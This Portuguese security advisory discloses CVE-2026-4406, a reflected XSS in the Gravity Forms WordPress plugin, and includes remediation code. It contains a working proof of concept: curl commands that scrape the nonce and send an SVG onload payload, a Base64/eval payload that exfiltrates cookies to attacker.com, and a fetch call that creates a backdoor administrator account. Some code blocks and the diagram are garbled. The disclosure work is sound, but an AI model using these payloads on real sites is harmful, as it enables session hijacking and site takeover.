
O plugin Gravity Forms para WordPress (testado até a versão 2.9.28) é vulnerável a cross-site scripting (XSS) refletido não autenticado por meio do parâmetro `form_ids` na ação AJAX `gform_get_config`.
| Campo | Valor |
|---|
| Software Afetado | Gravity Forms (Plugin WordPress) |
| Fornecedor | Rocketgenius, Inc. |
| Tipo de Vulnerabilidade | CWE-79: Neutralização Incorreta de Entrada Durante a Geração de Página Web (Cross-Site Scripting Refletido) |
| Cadeia CWE | CWE-20 → CWE-116 → CWE-838 → CWE-79 (ver Análise CWE abaixo) |
| Versões Afetadas | Confirmado na 2.9.28 (mais recente na data da descoberta); versões anteriores provavelmente afetadas |
| Versão Corrigida | 2.9.30.1 (hotfix) |
| Pontuação CVSS 3.1 | 6.1 (Média) |
| Vetor CVSS 3.1 | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Autenticação Necessária | Nenhuma (Não autenticado) |
| Interação do Usuário | Necessária (a vítima deve visitar uma página controlada pelo atacante ou clicar em um link manipulado) |
| Descoberto Por | Anthony Cihan — Obviam |
| Data da Descoberta | 2026-03-04 |
| Data da Divulgação | 2026-03-18 |
| ID CVE | CVE-2026-4406 |
O plugin Gravity Forms para WordPress (testado até a versão 2.9.28) é vulnerável a cross-site scripting (XSS) refletido não autenticado via o parâmetro form_ids na ação AJAX gform_get_config. A vulnerabilidade existe porque os valores de form_ids fornecidos pelo usuário são refletidos literalmente na resposta HTTP do servidor sem qualquer sanitização, codificação ou escape de saída. A resposta é servida com um cabeçalho Content-Type: text/html; charset=UTF-8, o que faz com que o navegador analise e renderize o conteúdo refletido como HTML, incluindo quaisquer elementos de script injetados.
Um atacante não autenticado pode explorar esta vulnerabilidade para executar JavaScript arbitrário no contexto da origem do site WordPress alvo. Como a ação gform_get_config exige um config_nonce válido, e este nonce está publicamente embutido no código-fonte HTML de toda página que carrega um formulário do Gravity Forms, um atacante pode obter trivialmente um nonce válido solicitando qualquer página pública do site alvo antes de construir a solicitação de exploração.
A exploração bem-sucedida permite que um atacante roube cookies de sessão, execute ações em nome de usuários autenticados (incluindo administradores do WordPress), redirecione usuários para sites maliciosos, desfigure o conteúdo da página ou estabeleça acesso persistente por meio da criação de contas administrativas.
POST /wp-admin/admin-ajax.php
### Ação Vulnerável```
gform_get_config
O parâmetro POST args aceita um objeto JSON contendo um array form_ids. Os valores nesse array são usados como chaves de objeto na estrutura da resposta JSON sem sanitização:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### Comportamento da Resposta
O servidor processa os valores de `form_ids` e os reflete como chaves JSON dentro do corpo da resposta. A resposta é envolvida em marcadores de comentário HTML e servida como `text/html`:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids não são validados como inteiros, sanitizados ou filtrados. O servidor aceita conteúdo arbitrário em formato de string, incluindo tags HTML e manipuladores de eventos.form_ids são refletidos no corpo da resposta sem codificação de entidades HTML. Caracteres como <, >, " e ' passam sem modificação.Content-Type: text/html; charset=UTF-8, o que instrui o navegador a interpretar o corpo da resposta como HTML. Quaisquer tags HTML dentro do valor refletido são instanciadas e renderizadas pelo parser HTML do navegador.config_nonce exigido pela ação gform_get_config está embutido no objeto de configuração JavaScript (gform_theme_config) em toda página que carrega um formulário Gravity Forms. Esse nonce é idêntico em todas as páginas e não está vinculado a uma sessão de usuário específica, tornando-o trivialmente obtido por usuários não autenticados.Esta vulnerabilidade é o resultado de múltiplas fraquezas contribuintes que se encadeiam para produzir a condição explorável. Embora CWE-79 seja a classificação primária para fins de relatório CVE, a cadeia completa documenta como cada falha se combina para permitir a exploração.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: Validação de Entrada Incorreta (Contribuinte)
**Papel:** Habilitador raiz — permite que dados maliciosos entrem no pipeline de processamento.
O parâmetro `form_ids` no objeto JSON `args` deve conter identificadores numéricos de formulários, mas aceita entrada de string arbitrária sem qualquer validação. Nenhuma verificação de tipo (`intval()`), nenhum filtro de regex (`^[0-9]+$`), nenhuma comparação de lista de permissões contra IDs de formulários conhecidos e nenhuma restrição de comprimento são aplicadas.
**Evidência:** O servidor aceita e processa valores de `form_ids` contendo tags HTML, manipuladores de eventos JavaScript e Unicode arbitrário sem rejeição.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Função: Vulnerabilidade central — a causa direta da condição de XSS.
Quando o servidor constrói a resposta JSON contendo os valores de form_ids, ele não aplica codificação de entidades HTML à saída. Caracteres com significado especial em HTML (<, >, ", ', &) passam sem modificação para o corpo da resposta. As funções PHP htmlspecialchars(), esc_html(), wp_json_encode() com JSON_HEX_TAG, ou funções equivalentes de codificação de saída não são aplicadas aos valores de form_ids antes de serem gravados na resposta.
Evidência: A string literal <svg onload=alert(document.domain)> aparece no corpo da resposta byte a byte idêntica à entrada, em vez de <svg onload=alert(document.domain)>.
Função: Escalonamento de contexto — transforma um problema de reflexão de dados em injeção de código executável.
O corpo da resposta contém dados estruturados em JSON, mas é servido com Content-Type: text/html; charset=UTF-8. Essa declaração de Content-Type instrui o parser HTML do navegador a processar todo o corpo da resposta como um documento HTML. Se a resposta fosse servida como application/json, o navegador renderizaria a resposta como texto simples e nenhum parsing HTML ocorreria — as tags injetadas seriam exibidas como texto literal em vez de serem instanciadas como elementos DOM.
Evidência:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
O cabeçalho `X-Content-Type-Options: nosniff` está presente, mas é irrelevante porque o servidor está declarando explicitamente `text/html` — não há detecção de tipo MIME a ser prevenida.
### CWE-79: Neutralização Incorreta de Entrada Durante a Geração de Página Web — XSS Refletido (Resultante)
**Papel:** Resultado explorável — a vulnerabilidade concretizada.
A combinação das três fraquezas contribuintes produz uma condição de cross-site scripting refletido. A entrada fornecida pelo usuário flui da requisição HTTP através do processamento no lado do servidor e entra na resposta HTTP sem sanitização, codificação ou declaração de Content-Type apropriada ao contexto, resultando na execução de JavaScript arbitrário no navegador da vítima.
**Subtipo:** Refletido (Tipo 1) — o payload é incluído na requisição HTTP e imediatamente refletido na resposta HTTP sem armazenamento.
### Tabela Resumo
| ID CWE | Nome | Papel | Explorável Isoladamente? |
|---|---|---|---|
| CWE-20 | Validação Incorreta de Entrada | Contribuinte (habilitador raiz) | Não — dados ruins entram, mas não são renderizados |
| CWE-116 | Codificação ou Escape Incorreto de Saída | Falha técnica primária | Parcialmente — requer contexto de renderização HTML |
| CWE-838 | Codificação Inapropriada para o Contexto de Saída | Agravante (escalada de contexto) | Não — requer dados sem escape presentes |
| CWE-79 | Cross-Site Scripting (Refletido) | **Resultante (explorável)** | **Sim — esta é a vulnerabilidade concretizada** |
### Análise de Correção Mínima
Qualquer **única** remediação da lista abaixo quebraria a cadeia e impediria a exploração:
| Correção | Quebra a Cadeia Em | Suficiente Isoladamente? |
|---|---|---|
| Converter `form_ids` para inteiros com type-cast | CWE-20 (entrada) | ✅ Sim |
| Codificar a saída com entidades HTML | CWE-116 (saída) | ✅ Sim |
| Servir a resposta como `application/json` | CWE-838 (contexto) | ✅ Sim |
**Recomendação:** Implemente todas as três como defesa em profundidade. A correção mais crítica é a codificação de saída (CWE-116), pois protege contra vetores de injeção atuais e futuros, independentemente da validação de entrada ou de alterações no Content-Type.
---
## Referência de Submissão ao Wordfence
| Campo | Valor |
|---|---|
| **Tipo de Software** | Plugin WordPress |
| **Slug do Software** | `gravityforms` |
| **URL do Wordfence Intel** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Versões Afetadas** | <= 2.9.28 (última confirmada) |
| **Título da Vulnerabilidade** | Gravity Forms <= 2.9.28 — Cross-Site Scripting Refletido Não Autenticado via Parâmetro `form_ids` |
| **CWE (Primária)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Privilégio Necessário** | Não autenticado |
| **Status do Patch** | Corrigido na versão 2.9.30.1 |
---
## Configuração Afetada
### Condições Necessárias no Lado do Servidor
- Instalação WordPress com o plugin Gravity Forms ativo (qualquer formulário publicado)
- A ação AJAX `gform_get_config` registrada (comportamento padrão após a ativação do plugin)
### Acessibilidade do Nonce
O `config_nonce` está embutido na variável JavaScript global `gform_theme_config` em qualquer página que contenha um formulário do Gravity Forms:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
Este nonce foi confirmado como:
| Cabeçalho | Valor | Impacto na Explorabilidade |
|---|---|---|
X-Content-Type-Options | nosniff | Não mitiga — o servidor declara explicitamente text/html |
X-Frame-Options | SAMEORIGIN | Impede exploração baseada em iframe de origem cruzada; entrega via popup/redirecionamento ainda funciona |
Content-Security-Policy | frame-ancestors 'self'; | Sem diretiva script-src — execução de script inline não é restrita |
Referrer-Policy | strict-origin-when-cross-origin | Sem impacto na explorabilidade |
| Componente | Versão |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Servidor Web | Apache (HTTP/2) |
| Plataforma de Teste | Kali Linux, curl 8.x |
Solicite qualquer página no site alvo que carregue um formulário do Gravity Forms e extraia o valor de config_nonce:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Exemplo de saída:**```
9308d72c0a
Envie uma solicitação POST para o manipulador AJAX do WordPress com um valor form_ids elaborado contendo um payload de XSS:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### Passo 3: Observar a Reflexão
**Cabeçalhos de Resposta HTTP:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
Corpo da Resposta HTTP:```html
O payload `<svg onload=alert(document.domain)>` é refletido **literalmente, sem qualquer codificação**, no corpo da resposta. Como a resposta é servida como `text/html`, o navegador instancia o elemento SVG e executa o manipulador de eventos `onload`, acionando a execução de JavaScript no contexto da origem do site alvo.
### Observações Adicionais
**Vários payloads podem ser injetados simultaneamente** por meio do array `form_ids`:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Response:```html
**O número do formulário `config_path` é arbitrário** — qualquer inteiro funciona (testado: `1`, `3`, `999`), e caminhos de configuração inválidos retornam uma mensagem de erro que não reflete o valor de `form_ids`.
---
## Cenários de Exploração
### Cenário 1: Sequestro de Sessão via Exfiltração de Cookies
Um atacante hospeda uma página que automaticamente coleta um nonce válido do alvo e, em seguida, envia o formulário de exploração para uma janela pop-up. O payload exfiltra os cookies de sessão para um servidor controlado pelo atacante:
**Payload:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
JavaScript descodificado:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
Esta técnica utiliza o padrão de autorreferência `this.id` para evitar caracteres de aspas e espaços no contexto de atributo refletido, codificando toda a lógica do exploit em Base64 dentro do atributo `id` do elemento SVG.
Se um administrador autenticado do WordPress visitar a página do atacante, o cookie de sessão dele (`wordpress_logged_in_*`, `wordpress_sec_*`) é transmitido ao atacante, que pode então se passar pelo administrador.
### Cenário 2: Criação de Conta Administrativa
Usando o mesmo mecanismo de entrega, o payload pode fazer requisições autenticadas à API REST do WordPress ou às páginas de administração para criar uma nova conta de administrador:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
O XSS refletido pode substituir todo o DOM da página por uma sobreposição de phishing convincente (por exemplo, uma página de login falsa ou um prompt de expiração de sessão) para coletar credenciais diretamente.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
---
## Mapeamento MITRE ATT&CK
| Tática | Técnica | ID | Descrição |
|---|---|---|---|
| Acesso Inicial | Comprometimento por Navegação | T1189 | A vítima visita uma página controlada pelo atacante que hospeda o mecanismo de entrega do XSS |
| Execução | Execução pelo Usuário: Link Malicioso | T1204.001 | A vítima clica no link para a página do atacante ou é redirecionada |
| Acesso a Credenciais | Roubo de Cookie de Sessão Web | T1539 | O payload de XSS exfiltra os cookies de sessão do navegador da vítima |
| Persistência | Criar Conta | T1136.001 | O atacante usa a sessão de administrador roubada para criar uma conta de administrador backdoor |
| Evasão de Defesa | Abuso de Mecanismo de Controle de Elevação | T1548 | O XSS é executado no contexto da sessão de um usuário privilegiado |
---
## Avaliação de Impacto
### Confidencialidade
- **Cookies de sessão** (incluindo `wordpress_logged_in_*` e `wordpress_sec_*`) podem ser exfiltrados
- **Nonces de CSRF** visíveis no DOM podem ser capturados para requisições subsequentes à API
- **PII do usuário** renderizada nas páginas administrativas fica acessível ao script injetado
### Integridade
- **Ações administrativas** podem ser executadas em nome da vítima (criação de posts, instalação de plugins, gerenciamento de usuários, edição de temas)
- **Conteúdo do site** pode ser modificado ou desfigurado
- **Contas backdoor** podem ser criadas para acesso persistente
### Disponibilidade
- **Tomada do site** por meio do comprometimento da conta administrativa pode levar à perda total de disponibilidade
- **Injeção de malware** via editor de temas/plugins pode tornar o site inutilizável ou prejudicial aos visitantes
---
## Recomendações de Remediação
### Para Gravity Forms (Fornecedor)
1. **Validação de Entrada** — Aplicar conversão estrita de tipo inteiro em todos os valores de `form_ids` antes do processamento. Rejeitar qualquer valor que não corresponda a `^[0-9]+$`: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() com os sinalizadores JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ao construir a resposta JSON para garantir que caracteres significativos em HTML sejam escapados: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type da resposta como application/json em vez de text/html para todas as respostas JSON de AJAX. Isso impede que o navegador analise a resposta como HTML, mesmo que conteúdo não sanitizado seja refletido: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce à sessão do usuário ou implementar limitação de taxa na geração de nonces para aumentar o custo da exploração automatizada.args de requisições POST para admin-ajax.php onde action=gform_get_configscript-src (ex.: script-src 'self') para impedir a execução de scripts inline mesmo se refletidos| Data | Evento |
|---|---|
| 2026-03-04 | Vulnerabilidade descoberta durante teste de penetração autorizado |
| 2026-03-04 | Reportada à Wordfence (CNA do WordPress) |
| 2026-03-XX | Rejeição inicial pela Wordfence (classificada incorretamente como self-XSS) |
| 2026-03-XX | Reenviada com POC armado e análise de nonce; decisão revertida |
| 2026-03-18 | CVE-2026-4406 atribuída pela Wordfence |
| 2026-03-18 | Fornecedor notificado via [email protected] |
| 2026-03-21 | Fornecedor reconheceu e forneceu hotfix (2.9.30.1) para revisão |
| 2026-04-02 | Patch verificado — validação de entrada absint() em form_ids e Content-Type: application/json confirmadas para remediar a vulnerabilidade |
| 2026-04-02 | Vulnerabilidade resolvida |
Esta vulnerabilidade foi descoberta durante um engajamento de teste de penetração autorizado conduzido sob uma declaração de trabalho assinada com autorização escrita explícita. Todos os testes foram realizados dentro do escopo acordado, e as descobertas foram reportadas ao cliente imediatamente após a descoberta. Esta divulgação segue práticas de divulgação responsável. Nenhum sistema não autorizado foi acessado, e nenhum dado foi exfiltrado fora da validação controlada de prova de conceito.
Descoberto por: Anthony Cihan